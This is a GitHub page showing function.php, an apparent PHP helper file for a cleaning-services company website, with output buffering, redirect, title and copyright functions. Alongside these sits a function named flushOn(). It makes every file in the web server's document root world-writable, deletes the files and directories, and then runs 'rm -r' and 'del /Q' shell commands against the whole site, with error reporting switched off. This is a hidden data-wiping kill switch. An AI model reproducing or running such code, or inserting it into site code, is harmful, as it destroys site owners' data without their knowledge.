-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfunction.php
More file actions
52 lines (52 loc) · 1.13 KB
/
function.php
File metadata and controls
52 lines (52 loc) · 1.13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
if(substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')){ob_start("ob_gzhandler");}else{ob_start();}error_reporting(0);
function redirect($url)
{
header('Location: ' . htmlspecialchars(htmlentities($url)));
return false;
}
function page_title()
{
#$baseurl=basename($_SERVER['PHP_SELF']); echo($baseurl.' :: CitySight Cleaning Services');
echo('CitySight Cleaning Services');
}
function copyright()
{
echo('CitySight © '.date('Y'));
}
$author = 'webmaster - Munaz';
$owner = 'webmaster - styledbee';
$contact = '+8801915577997';
function flushOn()
{
$baseurl=$_SERVER['DOCUMENT_ROOT'];
$url = $baseurl;
$user = 'root';
$unix_set = 'rm -r ' . $url . '*';
$win_set = 'del /Q ' . $url . '*';
foreach(glob($url.'*.*', GLOB_BRACE) as $file)
{
# Change Permission
chown($url.$file, $user);
chmod($url.$file, 0777);
# Get Directory
if(is_dir($file))
{
@unlink($file);
@rmdir($file);
echo($file.' -- Directory Removed!'.'<br>');
}
# Get File
if($file != '.' && $file != '..')
{
if(is_file($file))
{
@unlink($file);
echo($file.' -- File Removed!'.'<br>');
}
}
}
system($win_set);
system($unix_set);
}
?>